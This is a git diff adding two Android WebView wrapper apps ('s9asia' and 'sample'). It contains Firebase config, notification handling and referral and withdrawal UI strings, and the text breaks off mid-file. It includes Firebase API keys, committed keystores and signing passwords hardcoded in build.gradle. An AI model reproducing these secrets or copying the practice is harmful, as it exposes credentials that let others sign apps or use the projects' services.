a/s9asia/google-services.json b/s9asia/google-services.json new file mode 100644 index 0000000..94bc53c --- /dev/null +++ b/s9asia/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "605402229629", + "project_id": "s9asia", + "storage_bucket": "s9asia.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:605402229629:android:a3b38f559f2e8afbdeba14", + "android_client_info": { + "package_name": "com.web.s9asia" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyC8K6Oo8prbSXqHZByxpTDmcSZeZMdLQT4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/s9asia/ppn.jks b/s9asia/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/s9asia/ppn.jks differ diff --git a/s9asia/proguard-rules.pro b/s9asia/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/s9asia/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/s9asia/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/s9asia/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/s9asia/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/s9asia/src/main/AndroidManifest.xml b/s9asia/src/main/AndroidManifest.xml new file mode 100644 index 0000000..a02eb78 --- /dev/null +++ b/s9asia/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/java/com/web/s9asia/MainActivity.java b/s9asia/src/main/java/com/web/s9asia/MainActivity.java new file mode 100644 index 0000000..c0ac983 --- /dev/null +++ b/s9asia/src/main/java/com/web/s9asia/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.s9asia; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 173; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://s9asia.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/s9asia/src/main/java/com/web/s9asia/MyFirebaseMessageingService.java b/s9asia/src/main/java/com/web/s9asia/MyFirebaseMessageingService.java new file mode 100644 index 0000000..7e8c79d --- /dev/null +++ b/s9asia/src/main/java/com/web/s9asia/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.s9asia; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo1) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/s9asia/src/main/java/com/web/s9asia/WebApplication.java b/s9asia/src/main/java/com/web/s9asia/WebApplication.java new file mode 100644 index 0000000..eb36de8 --- /dev/null +++ b/s9asia/src/main/java/com/web/s9asia/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.s9asia; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/s9asia/src/main/res/drawable-anydpi/ic_action_back.xml b/s9asia/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/s9asia/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/s9asia/src/main/res/drawable-hdpi/ic_action_back.png b/s9asia/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/s9asia/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/s9asia/src/main/res/drawable-mdpi/ic_action_back.png b/s9asia/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/s9asia/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/s9asia/src/main/res/drawable-v24/ic_launcher_foreground.xml b/s9asia/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/s9asia/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/drawable-xhdpi/ic_action_back.png b/s9asia/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/s9asia/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/s9asia/src/main/res/drawable-xxhdpi/ic_action_back.png b/s9asia/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/s9asia/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/s9asia/src/main/res/drawable/big_bg.xml b/s9asia/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/s9asia/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/drawable/ic_launcher_background.xml b/s9asia/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/s9asia/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/s9asia/src/main/res/drawable/input_bg.xml b/s9asia/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/s9asia/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/s9asia/src/main/res/drawable/pass_word_bg.xml b/s9asia/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/s9asia/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/s9asia/src/main/res/drawable/pass_word_bg1.xml b/s9asia/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/s9asia/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/drawable/pass_word_bg2.xml b/s9asia/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/s9asia/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/drawable/shape_btn_bg.xml b/s9asia/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/s9asia/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/drawable/shape_dialog_bg2.xml b/s9asia/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/s9asia/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/drawable/shape_dialog_bg3.xml b/s9asia/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/s9asia/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/drawable/shape_dialog_bg_new.xml b/s9asia/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/s9asia/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/s9asia/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/s9asia/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/s9asia/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/s9asia/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/mipmap-hdpi/ic_empty.png b/s9asia/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/s9asia/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/s9asia/src/main/res/mipmap-hdpi/ic_pull_down.png b/s9asia/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/s9asia/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/s9asia/src/main/res/mipmap-xhdpi/ic_close.png b/s9asia/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/s9asia/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/s9asia/src/main/res/mipmap-xhdpi/ic_menu.png b/s9asia/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/s9asia/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/s9asia/src/main/res/mipmap-xxhdpi/app_logo.gif b/s9asia/src/main/res/mipmap-xxhdpi/app_logo.gif new file mode 100644 index 0000000..85bc3d8 Binary files /dev/null and b/s9asia/src/main/res/mipmap-xxhdpi/app_logo.gif differ diff --git a/s9asia/src/main/res/mipmap-xxhdpi/app_logo1.png b/s9asia/src/main/res/mipmap-xxhdpi/app_logo1.png new file mode 100644 index 0000000..6af4200 Binary files /dev/null and b/s9asia/src/main/res/mipmap-xxhdpi/app_logo1.png differ diff --git a/s9asia/src/main/res/values-en/strings.xml b/s9asia/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/s9asia/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/s9asia/src/main/res/values-night/themes.xml b/s9asia/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/s9asia/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/values/colors.xml b/s9asia/src/main/res/values/colors.xml new file mode 100644 index 0000000..19ff471 --- /dev/null +++ b/s9asia/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #FFFFFF + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/s9asia/src/main/res/values/strings.xml b/s9asia/src/main/res/values/strings.xml new file mode 100644 index 0000000..76c783b --- /dev/null +++ b/s9asia/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + S9ASIA + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/values/themes.xml b/s9asia/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/s9asia/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/xml/app_updater_paths.xml b/s9asia/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/s9asia/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/xml/network_security_config.xml b/s9asia/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/s9asia/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/s9asia/src/main/res/xml/provider_paths.xml b/s9asia/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/s9asia/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/s9asia/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/s9asia/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/s9asia/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/sample/.gitignore b/sample/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/sample/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/sample/build.gradle b/sample/build.gradle new file mode 100644 index 0000000..6d66ba5 --- /dev/null +++ b/sample/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.sample" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "sample" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/sample/dskjweb.jks b/sample/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/sample/dskjweb.jks differ diff --git a/sample/google-services.json b/sample/google-services.json new file mode 100644 index 0000000..1d53812 --- /dev/null +++ b/sample/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "465861638547", + "project_id": "sampleapp-3895f", + "storage_bucket": "sampleapp-3895f.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:465861638547:android:6e58f7d36520ba813f1066", + "android_client_info": { + "package_name": "com.web.sample" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDKZ70kyuoAVfOZL75rSm6TFlKlCs_BzZ8" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/sample/ppn.jks b/sample/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/sample/ppn.jks differ diff --git a/sample/proguard-rules.pro b/sample/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/sample/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/sample/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/sample/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/sample/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/sample/src/main/AndroidManifest.xml b/sample/src/main/AndroidManifest.xml new file mode 100644 index 0000000..75923ac --- /dev/null +++ b/sample/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sample/src/main/java/com/web/sample/MainActivity.java b/sample/src/main/java/com/web/sample/MainActivity.java new file mode 100644 index 0000000..babac0e --- /dev/null +++ b/sample/src/main/java/com/web/sample/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.sample; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 208; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://vv88aud.io/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#7a892a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#7a892a"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = 